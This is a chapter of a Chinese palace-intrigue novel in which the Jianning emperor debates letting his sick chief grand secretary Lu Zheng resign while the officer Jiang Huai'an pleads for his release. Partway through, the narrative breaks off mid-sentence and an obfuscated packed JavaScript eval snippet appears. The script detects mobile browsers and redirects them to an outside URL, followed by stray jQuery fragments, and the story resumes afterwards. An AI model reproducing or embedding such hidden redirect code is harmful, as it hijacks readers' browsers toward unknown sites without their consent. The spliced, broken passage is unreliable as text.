这些日子里,陆正连着递了三道请辞的奏疏,都被建宁帝一一压了下来。满朝文武,对于陆正此举,有揣度猜忌的,有诽谤中伤的,有含泪挽留的……可谓是众生百态,菩萨千面。
四月初了,陆正的病态愈发明显,身体每况愈下。从燕京赶往荆州,少说也要半个月的日程。前世里,陆正是五月底病故的。
陆晚只要一想起这事,便觉得心乱如麻,无法思考。人只要多了一世的记忆后,便能预见今世人生的走向,选择也就多了,便更想试着去改变些什么。陆晚是如此,江淮安亦是如此。
宫后苑。
建宁帝沿着回廊漫步,目光幽深,眼底情绪难辨。掌印太监冯凭随侍左右,江淮安及邓则明二人静立一旁。
正是春日,后苑中百花齐放,姹紫嫣红,香气四溢。
在场的众人却无暇欣赏这唯美的春光,各自眉头紧锁,似是心事重重。
“大伴,上次让你看望陆先生,先生的病情怎么样了?”年轻的皇帝忽然驻足,开口道。
“这……”冯凭低下头,叹道:“首辅大人消瘦了很多,精气神也不如曾经了。”
建宁帝沉默良久,再度出声,嗓音沙哑:“先生……”
他顿了顿:“他还是决意要请辞吗?”
冯凭不着痕迹地瞧了一眼身侧的君王,在心底揣摩了一下他此刻的心思,方才斟酌着启口:“回万岁,陆先生离乡二十余载,常深感遗憾……”
“够了!”建宁帝陡然拔高了音调。
“奴才知罪。”冯凭没有料到他会有这么大的反应,眼底闪过几分惊惧,立刻屈膝而跪。江淮安,邓则明等人也紧随着跪下。众人皆屏息敛神,眉目低垂,不敢有一分妄动。
建宁帝今日似是焦躁得很,他无意识地在廊道上来回踱步,紧紧攥着右手的玉扳指,眉宇间隐有不耐之色。
“朕不是这个意思,”或许是自知失态,建宁帝的脸色稍稍缓和了些许:“朕知道陆先生思乡情切,也感念他对朕的教导和对国事的操劳。但如今变革未就,朕又不甚聪敏,难担重任。国不可一日无陆先生啊!”
他长叹一声,年轻的面容上竟浮现出了几丝悲意,眼角也沾了些湿气。
君王动悲,底下的人也自然不敢大意,面上或多或少地也显露出了几分哀恸。
“你们都起来吧,”半晌后,建宁帝情绪渐渐平宁,看着冯凭道:“大伴,你帮我再劝劝先生吧。”
君命已出,冯凭也无可奈何,刚要应声,却被一道清冷的音调给拦了下来。
“陛下,臣有话想讲。”
冯凭脊背一僵,借着余光瞥了一眼身后跪地的那人,暗自为其捏了一把汗。
建宁帝脚步稍顿,沉声道:“准了。”
“臣恳请陛下恩准首辅大人辞官归乡。首辅大人为国事操累半生,积劳成疾,需要好生修养。若再过度辛劳,恐伤及根本。”江淮安跪得笔直,低垂着头,话语间却是不卑不亢。
闻言,建宁帝倒是也没有怎么发怒,反应平平,只是唤了一句:“邓则明。”
“臣在。”
“你怎么看?”
“这是庙堂大事,臣非朝官,不敢妄议。”
“呵,”建宁帝干笑一声:“你倒是知道自己的本分。”
他顿了顿,走至江淮安面前,漫不经心道:“可有的人就没你这么守本分了。”
冯凭脊背又是一颤,心底发紧。他是内廷的老人了,自小陪侍建宁帝左右,也是发自内心地爱戴着这位年轻的君王。然而近些日子发生的一些事情使得他觉着,自己的君主似乎越来越陌生,脾性和心思愈发让人琢磨不透了。
唯恐自己的君王要动怒,冯凭忙悄悄给江淮安递了个眼色,却见那人纹丝不动。
听到建宁帝的话后,江淮安面色依旧平静,只是眼帘垂得更低,道:“臣逾越本分,请陛下责罚。”
建宁帝随即笑开,语气意味不明:“朕不过是说句玩笑话,江千户怎么还当真了呢?”
“罢了罢了,”他笑道:“你们都退下吧。江千户留下来。”
其余众人皆应声屏退。偌大的宫后苑里,只有建宁帝与江淮安二人。
“江千户起来吧,”建宁帝声音平平,他望着苑内盛开的繁花,眼底情
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16366181|183750||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
绪不明:“一年四季,朕独爱春天。仲春者,微风轻柔,鸟语花香,正是人间好时节。”
他顿了顿,似是想起来什么,对着江淮安道:“你昔日也是个文人,应当也会几句雅言。朕问你,面对此情此景,心中何感?”
江淮安刚刚起身,膝盖还有些酸痛,然而站姿依旧是恭敬得体的。他垂首应道:“臣见识粗鄙,文墨一般。观此景之际,忽想起前人的一句诗。”
“花有重开日,人无再少年。”
建宁帝微怔。此时正值晌午,日头灼烈,光线刺眼。建宁帝不由得微微眯起了眼,若有所思道:“这句诗倒是不怎么应景。”
他扫了一眼面前之人,续道:“今日春光如此明媚,你说的这句诗反而给人带来了几分悲意。这是缘何?”
闻言,江淮安寡淡的面容上罕见地浮现了几丝愁意,语气怅惘:“臣只是有些感慨。春花如此美丽,纵使凋谢,依旧可以等到重开的那天。可人却不同了。”
“岁月不居,时节如流。生命终有尽头,再伟大的英雄也会有年老故去的一天。”
听得此话后,建宁帝陷入了短暂的沉默。须臾后,他面上一哂:“你这还是在旁敲侧击地提醒朕放陆先生返乡啊。”
“臣不敢。”
俯首垂目,膝盖落地,江淮安顿时便跪了下来,声音却未停:“臣只是觉着,生老病死乃是自然规律。年少者意气风发,不思巴蜀;年老者力不从心,怀念故园。皆是人之常情。”
“陆首辅为国事操劳一辈子,此生可能也只有这一个心愿了。”
建宁帝略微蹙了蹙眉,似在沉思。他远远地望着后苑里盛开的繁花,一直未曾开口。良久,他似是有些疲惫,摁了摁眉心道:“让朕再想想,你且先起身退下吧。”
江淮安正欲应声离去,却在刚迈出一步之际被身后之人叫住。那人声音不似方才那般平和,忽而显得有些冷峻,俨然带了几分君王的威严:“江淮安。”
“臣在。”
“你要记得,你是北镇抚司的千户,是朕的奴才,而非文臣。”
“陛下教导,臣谨记,不敢轻忘。”